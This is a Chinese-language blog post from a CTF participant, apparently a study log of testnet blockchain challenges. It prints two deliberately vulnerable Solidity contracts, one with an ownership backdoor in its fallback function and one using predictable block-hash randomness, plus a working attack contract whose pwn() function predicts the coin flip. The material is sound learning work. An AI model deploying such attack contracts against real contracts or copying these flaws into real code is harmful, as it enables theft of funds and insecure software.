请注意,本文编写于 1340 天前,最后修改于 1180 天前,其中某些信息可能已经过时。
看到这个标题有人可能会问了,你个臭弟弟,团队十人你零分,好意思在这里总结,总结个鸡毛。啊这,虽然我是零分滚蛋,但是我还是安安心心的研究了两天区块链的题目的。我只认真的看了一道题目,然后还没做出来,主要原因还是对于题目的流程不够熟练,要揣摩好久出题人的意思才可以继续进行。但是其余的很多题目已经开始涉及到了区块链方向的知识,比如本次比赛中的bank,从一开始的sha256解密,到后来的拿AES算法模拟智能合约工作流程,到最后的我们拿脚本伪造交易记录,无时无刻都有智能合约的影子。这次比赛的复现我肯定会做,但是在此之前我要先整理一下这两天学习到的一些东西。毕竟网上的资料有些许匮乏,并且对于区块链的题目还没有形成定式,出题人有很多方法去出题目。
题外话,这次比赛我的电脑死机了3次,蓝屏了5次,我不知道是不是因为win10更新的原因,但是我准备换一台电脑,起码内存要稍微的大一点。
这里主要来记录一下我见到的出题人的花活(包括做到的,看到的):
Bitaps
Ethplore
EtherChain
BlockExplorer.one
BlockScout
在以下网站你可以查到在测试链上发生了所有活动,包括外部账户,合约账户,交易信息等。
input:0x5e031f4a00000000000000000000000000000000fa8cca1bced017e0ab064d4844c3020b
比如这个,这是合约日志中一次调用的输入,其中0x5e031f4a就是这个函数名字的“钥匙”,后面则是我们调用函数所使用的数据。
题目目的:清空合约
题目方式:控制台直接交互
题目源码:有
pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract Fallback is Ownable { //合约名字
using SafeMath for uint256;
mapping(address => uint) public contributions;
function Fallback() public {
contributions[msg.sender] = 1000 * (1 ether); ////构造函数设置合约创建者的贡献值为1000以太币
}
function contribute() public payable {
require(msg.value < 0.001 ether); //require 常用判断函数这里是当msg.value《0.001时,不许通过,阻断合约
contributions[msg.sender] = contributions[msg.sender].add(msg.value);//贡献可以被记录时,进行记录
if(contributions[msg.sender] > contributions[owner]) {//当你贡献的值大于原始账户的时候就你成为合约所有者 明目张胆的强合约(误)
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];//获取你的贡献值
}
function withdraw() public onlyOwner {
owner.transfer(this.balance);
}////onlyOwner修饰,所以只有合约所有者才能用来提款
function() payable public {//咦?为啥没有函数名 这玩意叫回退函数
require(msg.value > 0 && contributions[msg.sender] > 0);//当请求者有贡献,转交合约
owner = msg.sender;//合约后门
}
}
触发 fallback 函数的条件:
这就是入门的第一道题目,把后门函数放入了fallback函数中。假设我们正常进行交易的花,我们要向这个函数传入1000eth,淦虽然测试链上的币都是可以免费申请的,但是一个小时同一个IP这能要5枚。所以我们把目光转移到回退的后门函数,这里只要我们能通过require,则就可以得到合约。
流程:做出一点点贡献,抢到函数,转账。
题目目的:与合约玩游戏
题目方式:部署攻击合约
题目源码:有
pragma solidity ^0.4.18;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';//这是一个以太坊公开合约,官方也给出了对应的abi接口,主要是解决加减乘除可能出现的整形溢出而设计的。
contract CoinFlip {
using SafeMath for uint256;
uint256 public consecutiveWins;//这是获胜次数,题目要求这个函数为10的时候算通过。
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function CoinFlip() public {//变量的构造函数,在合约开始前,将consecutiveWins置为0
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {//我们主要需要观察的函数
uint256 blockValue = uint256(block.blockhash(block.number.sub(1)));//block.number是获得当块数编号,-1则是上一个块的编号。取hash
if (lastHash == blockValue) {
revert();//看是不是重复的,重复的话就重至函数
}
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);//除法取整,所以就是上一个区块的第一个值
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;//猜对了加一,到十就获得了胜利
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
好的分析完流程后,我们发现我们只需要按照相同的算法将数值算出来,然后调用函数传参10次即可。这里由于我们要用到SafeMath.sol合约,我们需要获取合约地址或者直接抄它的源代码。
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract CoinFlip {
using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function CoinFlip() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(block.blockhash(block.number.sub(1)));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
contract attack{
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
CoinFlip expFlip = CoinFlip(0xf0c21976ff3cc6496e0e58fd770f785ca1dd0b21);
function pwn(){
uint256 blockValue = uint256(block.blockhash(block.number-1));
uint256 coinFlip = blockValue /FACTOR;
bool side = coinFlip == 1 ? true : false;
expFlip.flip(side);
}
}
这里解释一下合约,这里粘贴原合约,目的是获取ABi,这里也可以不用使用这个,直接使用CALL函数进行传参,直接和合约互动。
连续调用十次PWN函数,完成合约攻击。
全部评论 (暂无评论)
info 还没有任何评论,你来说两句呐!